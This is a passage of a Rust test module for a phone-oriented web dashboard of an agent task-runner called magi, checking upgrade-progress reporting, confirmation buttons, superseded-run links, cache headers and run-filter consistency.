9995 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9996
9997 let health = fx.get("/api/health").await.json();
9998 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9999 assert_eq!(
10000 health["update"]["available"], false,
10001 "checking is off, which reads as \"unknown\", not \"none\""
10002 );
10003 assert!(health["update"]["to"].is_null());
10004 assert!(
10005 health["upgrade"].is_null(),
10006 "nothing has ever asked this deck to upgrade"
10007 );
10008 }
10009
10010 #[tokio::test]
10011 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
10012 let fx = Fixture::start().await;
10013 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
10014
10015 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10016 progress.parked_run = Some("20260905-000000-cd51".to_owned());
10017 progress.advance(crate::updater::Stage::Parking);
10018 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10019
10020 let health = fx.get("/api/health").await.json();
10021 assert_eq!(health["upgrade"]["stage"], "parking");
10022 assert_eq!(health["upgrade"]["from"], "0.5.1");
10023 assert_eq!(health["upgrade"]["to"], "0.5.2");
10024 let waiting_on = health["upgrade"]["waiting_on"]
10025 .as_str()
10026 .expect("waiting_on is set while parking a known run");
10027 assert!(waiting_on.contains("cd51"), "{waiting_on}");
10028 assert!(waiting_on.contains("implementing"), "{waiting_on}");
10029 }
10030
10031 #[tokio::test]
10032 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
10033 let fx = Fixture::start().await;
10034 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10035 progress.advance(crate::updater::Stage::Done);
10036 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
10037
10038 let health = fx.get("/api/health").await.json();
10039 assert_eq!(health["upgrade"]["stage"], "done");
10040 assert!(
10041 health["upgrade"]["waiting_on"].is_null(),
10042 "nothing to wait on once it is done"
10043 );
10044 }
10045
10046 #[tokio::test]
10047 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
10048 let home = TempDir::new().expect("temp home");
10049 let runs = home.path().join("runs");
10050 std::fs::create_dir_all(&runs).expect("runs dir");
10051 let ui = Ui::new(
10052 Queue::at(home.path().join("queue")),
10053 Questions::at(home.path().join("questions")),
10054 Talks::at(home.path().join("talks")),
10055 runs,
10056 home.path().to_path_buf(),
10057 PathBuf::from("/repo/magi"),
10058 )
10059 .with_launch(launch_idle);
10060 let looping = ui.looping();
10061 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10062 .await
10063 .expect("bind loopback");
10064 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10065
10066 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
10067 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
10068
10069 hand_over(home.path(), &looping, served, || Ok(()))
10070 .await
10071 .expect("hand over");
10072
10073 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
10074 assert_eq!(
10075 after.stage,
10076 crate::updater::Stage::Restarting,
10077 "hand_over owns the record through parking and up to restarting; \
10078 the successor is what finishes it"
10079 );
10080 }
10081
10082 #[test]
10083 fn the_upgrade_button_arms_before_it_restarts_anything() {
10084 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
10087 assert!(APP_JS.contains("Replace the binary and restart?"));
10088 assert!(APP_JS.contains("function confirmed("));
10089 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
10094 assert!(
10098 APP_JS.contains("Parking, then restarting"),
10099 "the button says what it is waiting for"
10100 );
10101 assert!(APP_JS.contains("if (!out.to)"));
10104 }
10105
10106 #[test]
10107 fn stopping_the_loop_arms_but_starting_does_not() {
10108 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
10111 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
10112 assert!(APP_JS.contains("confirmed(button, question)"));
10113 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
10116 assert!(APP_JS.contains("const label = btn.textContent;"));
10117 assert!(!APP_JS.contains("Neither direction is guarded"));
10118 }
10119
10120 #[test]
10121 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
10122 assert!(
10123 APP_JS.contains("state.health.version"),
10124 "the operator wants to know what is running even with nothing newer"
10125 );
10126 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
10127 }
10128
10129 #[test]
10130 fn the_upgrade_button_names_its_destination() {
10131 assert!(
10132 APP_JS.contains("`Update to ${update.to}`"),
10133 "pressing the button should not be a surprise about what it moves to"
10134 );
10135 }
10136
10137 #[test]
10138 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
10139 for stage in ["downloading", "replaced", "parking", "restarting"] {
10140 assert!(
10141 APP_JS.contains(&format!("\"{stage}\"")),
10142 "the phone must be able to tell {stage} apart from the others"
10143 );
10144 }
10145 assert!(APP_JS.contains(".waiting_on"));
10146 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
10151 assert!(APP_JS.contains("reconnects on its own"));
10152 }
10153
10154 #[test]
10155 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
10156 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
10165 ..APP_JS.find("function upgrade(").expect("upgrade")];
10166 assert!(
10167 !body.contains(
10168 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
10169 ),
10170 "a failed upgrade must not take the whole strip over the way it used to"
10171 );
10172 assert!(
10173 body.contains("upgradeFailNote"),
10174 "the failure has to reach the loop's own note instead"
10175 );
10176 assert_eq!(
10180 body.matches("upgradeFailNote].filter(Boolean).join")
10181 .count(),
10182 2,
10183 "both loop-why writers (quiet and control) must fold the note in"
10184 );
10185 }
10186
10187 #[test]
10188 fn an_overdue_upgrade_eventually_asks_for_a_human() {
10189 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
10192 assert!(APP_JS.contains("function upgradeOverdue("));
10193 }
10194
10195 #[test]
10196 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
10197 assert!(
10198 APP_JS.contains("Updated to ${upgradeInfo.to"),
10199 "the operator who asked for the restart wants to know it worked"
10200 );
10201 }
10202
10203 #[test]
10204 fn an_error_is_visible_from_where_the_button_is() {
10205 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
10210 ..APP_CSS.find(".alert-text").expect(".alert-text")];
10211 assert!(
10212 alert.contains("position: fixed"),
10213 "an error about the thing under your thumb has to be visible from \
10214 where your thumb is: {alert}"
10215 );
10216 assert!(
10217 alert.contains("z-index: 25"),
10218 "above the dock (20) and the run-actions FAB (15), so neither \
10219 buries it: {alert}"
10220 );
10221 assert!(
10222 alert.contains("var(--tap)"),
10223 "and clear of the dock and the home indicator: {alert}"
10224 );
10225 assert!(
10228 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
10229 "the FAB's column stays free: {alert}"
10230 );
10231 }
10232
10233 #[tokio::test]
10234 async fn an_older_attempt_says_what_replaced_it() {
10235 let fx = Fixture::start().await;
10236 let q = fx.queue();
10237 let runs = fx.runs();
10238 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
10239 write_run(&runs, first, RunStatus::Stalled);
10240 write_run(&runs, second, RunStatus::Blocked);
10241
10242 let mut t = Task::new(
10243 "one task".to_owned(),
10244 "do it".to_owned(),
10245 PathBuf::from("/repo"),
10246 Source::Human,
10247 );
10248 t.runs = vec![first.to_owned(), second.to_owned()];
10249 q.put(&mut t).expect("put");
10250
10251 let rows = fx.get("/api/runs").await.json();
10255 let by = |short: &str| -> Value {
10256 rows.as_array()
10257 .unwrap()
10258 .iter()
10259 .find(|r| r["short"] == short)
10260 .cloned()
10261 .unwrap_or(Value::Null)
10262 };
10263 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
10264 assert!(
10265 by("bbbb")["superseded_by"].is_null(),
10266 "the latest attempt is not superseded by anything"
10267 );
10268 assert!(APP_JS.contains("run.superseded_by"));
10270 assert!(APP_JS.contains("Superseded by"));
10271 }
10272
10273 #[tokio::test]
10274 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
10275 let fx = Fixture::start().await;
10280 let q = fx.queue();
10281 let runs = fx.runs();
10282 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
10283 write_run(&runs, first, RunStatus::Blocked);
10284 write_run(&runs, second, RunStatus::Merged);
10285
10286 let mut t = Task::new(
10287 "one task".to_owned(),
10288 "do it".to_owned(),
10289 PathBuf::from("/repo"),
10290 Source::Human,
10291 );
10292 t.runs = vec![first.to_owned(), second.to_owned()];
10293 q.put(&mut t).expect("put");
10294
10295 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
10296 assert_eq!(earlier["superseded_by"], "dddd");
10297 assert_eq!(earlier["latest_attempt"]["id"], second);
10298 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
10299 assert_eq!(
10300 earlier["latest_attempt"]["resolved"], true,
10301 "the run that replaced it landed, so this one reads as settled"
10302 );
10303
10304 let later = fx.get(&format!("/api/runs/{second}")).await.json();
10305 assert!(
10306 later["superseded_by"].is_null(),
10307 "the latest attempt is not superseded by anything"
10308 );
10309 assert!(
10310 later["latest_attempt"].is_null(),
10311 "the latest attempt has no later attempt of its own"
10312 );
10313
10314 assert!(APP_JS.contains("run.latest_attempt"));
10321 assert!(APP_JS.contains("data-superseded"));
10322 assert!(APP_JS.contains("#/runs/${latest.id}"));
10323 }
10324
10325 #[tokio::test]
10326 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
10327 let fx = Fixture::start().await;
10333 let q = fx.queue();
10334 let runs = fx.runs();
10335 let (a, b, c) = (
10336 "20260901-000000-aaaa",
10337 "20260901-000000-bbbb",
10338 "20260901-000000-cccc",
10339 );
10340 write_run(&runs, a, RunStatus::Blocked);
10341 write_run(&runs, b, RunStatus::Blocked);
10342 write_run(&runs, c, RunStatus::Merged);
10343
10344 let mut t = Task::new(
10345 "retried twice".to_owned(),
10346 "do it".to_owned(),
10347 PathBuf::from("/repo"),
10348 Source::Human,
10349 );
10350 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
10351 q.put(&mut t).expect("put");
10352
10353 let view = fx.get(&format!("/api/runs/{a}")).await.json();
10354 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
10355 assert_eq!(
10356 view["latest_attempt"]["id"], c,
10357 "the chain's current head, not the intermediate Blocked retry"
10358 );
10359 assert_eq!(view["latest_attempt"]["resolved"], true);
10360
10361 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
10362 assert_eq!(mid["latest_attempt"]["id"], c);
10363 assert_eq!(mid["latest_attempt"]["resolved"], true);
10364 }
10365
10366 #[tokio::test]
10367 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
10368 let fx = Fixture::start().await;
10369 let q = fx.queue();
10370 let runs = fx.runs();
10371
10372 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
10375 write_run(&runs, still_blocked_a, RunStatus::Blocked);
10376 write_run(&runs, still_blocked_b, RunStatus::Blocked);
10377 let mut t1 = Task::new(
10378 "still stuck".to_owned(),
10379 "do it".to_owned(),
10380 PathBuf::from("/repo"),
10381 Source::Human,
10382 );
10383 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
10384 q.put(&mut t1).expect("put");
10385 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
10386 assert_eq!(view1["latest_attempt"]["resolved"], false);
10387
10388 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
10393 write_run(&runs, noop_a, RunStatus::Blocked);
10394 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
10395 let mut t2 = Task::new(
10396 "claims done".to_owned(),
10397 "do it".to_owned(),
10398 PathBuf::from("/repo"),
10399 Source::Human,
10400 );
10401 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
10402 q.put(&mut t2).expect("put");
10403 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
10404 assert_eq!(
10405 view2["latest_attempt"]["resolved"], false,
10406 "an unverified no-op claim must not read as a confirmed finish"
10407 );
10408
10409 assert!(APP_JS.contains("latest.resolved"));
10412 }
10413
10414 #[tokio::test]
10415 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
10416 let fx = Fixture::start().await;
10417 let js = fx.get("/app.js").await;
10423 assert_eq!(js.status, 200);
10424 let tag = js
10425 .header("etag")
10426 .expect("an etag to revalidate against")
10427 .to_owned();
10428 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
10429 assert_eq!(
10430 js.header("cache-control"),
10431 Some("no-cache, must-revalidate"),
10432 "the phone has to ask every time"
10433 );
10434
10435 let again = fx
10438 .get_with("/app.js", &[("if-none-match", tag.as_str())])
10439 .await;
10440 assert_eq!(
10441 again.status, 304,
10442 "a deck it already has costs one round trip"
10443 );
10444 assert!(again.body.is_empty(), "304 carries no body");
10445
10446 let weak = fx
10449 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
10450 .await;
10451 assert_eq!(weak.status, 304);
10452 let stale = fx
10453 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
10454 .await;
10455 assert_eq!(stale.status, 200, "an older build must be replaced");
10456 assert!(stale.body.contains("renderRunActions"));
10457 }
10458
10459 #[test]
10460 fn the_deck_never_sends_the_operator_to_a_terminal() {
10461 assert!(
10464 !APP_JS.contains("Run `magi fold` first"),
10465 "the deck must offer the fold, not prescribe a shell command"
10466 );
10467 assert!(APP_JS.contains("foldRun:"));
10468 assert!(APP_JS.contains("resumeRun:"));
10469 assert!(APP_JS.contains("renderRunActions"));
10470
10471 assert!(APP_JS.contains("armedFold"));
10473 assert!(APP_JS.contains("Yes, fold worktrees"));
10474
10475 assert!(APP_JS.contains("can no longer be resumed"));
10478 }
10479
10480 #[test]
10481 fn a_finished_run_explains_itself_with_its_own_last_line() {
10482 assert!(
10488 !APP_JS.contains("collapsed on agent quota"),
10489 "a stall must not be explained by a cause the deck did not check"
10490 );
10491 assert!(
10492 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
10493 "and a block must not offer a guess with an `or` in it"
10494 );
10495
10496 assert!(
10500 APP_JS.contains("setText(r.event, run.event || \"\")"),
10501 "the run's last line is rendered unconditionally"
10502 );
10503 assert!(
10504 !APP_JS.contains("moving && run.event"),
10505 "and never gated on the run still moving"
10506 );
10507
10508 assert!(APP_JS.contains("lost to quota"));
10510 }
10511
10512 #[test]
10534 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
10535 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
10536 let shapes_body_start =
10537 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
10538 let shapes_close = APP_JS[shapes_body_start..]
10539 .find("].map(")
10540 .expect("the shape list is closed by its done-computing .map(...)")
10541 + shapes_body_start;
10542 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
10543
10544 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
10545 for entry in shapes_src.split('{').skip(1) {
10546 let waiting = entry.contains("waiting: true");
10547 let dead = entry.contains("live: \"dead\"");
10548 let status_at =
10549 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
10550 let status_end = entry[status_at..]
10551 .find('"')
10552 .expect("the status string is closed")
10553 + status_at;
10554 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
10555 }
10556 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
10557
10558 let done_rule_marker = "done: !";
10562 let done_rule_at = APP_JS[shapes_close..]
10563 .find(done_rule_marker)
10564 .expect("the done rule follows the shape list")
10565 + shapes_close
10566 + done_rule_marker.len();
10567 let includes_at = APP_JS[done_rule_at..]
10568 .find(".includes(shape.status)")
10569 .expect("the done rule ends in .includes(shape.status)")
10570 + done_rule_at;
10571 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
10572 .trim()
10573 .trim_start_matches('[')
10574 .trim_end_matches(']')
10575 .split(',')
10576 .map(|s| s.trim().trim_matches('"'))
10577 .filter(|s| !s.is_empty())
10578 .collect();
10579
10580 let shapes: Vec<(bool, String, bool, bool)> = shapes
10581 .into_iter()
10582 .map(|(waiting, status, dead)| {
10583 let done = !not_done.contains(&status.as_str());
10584 (waiting, status, dead, done)
10585 })
10586 .collect();
10587
10588 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
10592 if waiting {
10593 return "waiting";
10594 }
10595 if dead
10596 && !matches!(
10597 status,
10598 "merged"
10599 | "ready"
10600 | "stalled"
10601 | "blocked"
10602 | "failed"
10603 | "verified_noop"
10604 | "superseded"
10605 )
10606 {
10607 return "stale";
10608 }
10609 match status {
10610 "merged" | "ready" => "landed",
10611 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded" => "ended",
10612 _ => "flight",
10613 }
10614 }
10615
10616 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
10619 match filter_key {
10620 "active" => !done,
10621 "flight" => !done && !waiting && !dead,
10622 "stale" => !done && !waiting && dead,
10623 "waiting" => waiting,
10624 "done" => done,
10625 "all" => true,
10626 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
10627 }
10628 }
10629
10630 let compatible = |section: &str, filter_key: &str| {
10631 shapes.iter().any(|(waiting, status, dead, done)| {
10632 run_section(*waiting, status, *dead) == section
10633 && filter_matches(filter_key, *waiting, *dead, *done)
10634 })
10635 };
10636
10637 let expected = [
10642 ("waiting", [true, false, false, true, true, true]),
10643 ("stale", [true, false, true, false, false, true]),
10644 ("flight", [true, true, false, false, false, true]),
10645 ("landed", [false, false, false, false, true, true]),
10646 ("ended", [false, false, false, false, true, true]),
10647 ];
10648 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
10649
10650 for (section, wants) in expected {
10651 for (filter_key, want) in filter_keys.iter().zip(wants) {
10652 assert_eq!(
10653 compatible(section, filter_key),
10654 want,
10655 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
10656 );
10657 }
10658 }
10659
10660 assert!(
10663 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
10664 );
10665 assert!(APP_JS.contains(
10666 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
10667 ));
10668 assert!(APP_JS.contains(
10669 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
10670 ));
10671 }
10672
10673 #[tokio::test]
10674 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
10675 let dir = tempfile::tempdir().expect("tempdir");
10679 let explicit = dir.path().join("not-a-checkout");
10680 std::fs::create_dir_all(&explicit).expect("create dir");
10681 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
10682
10683 let missing = dir.path().join("does-not-exist-at-all");
10684 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
10685 }
10686}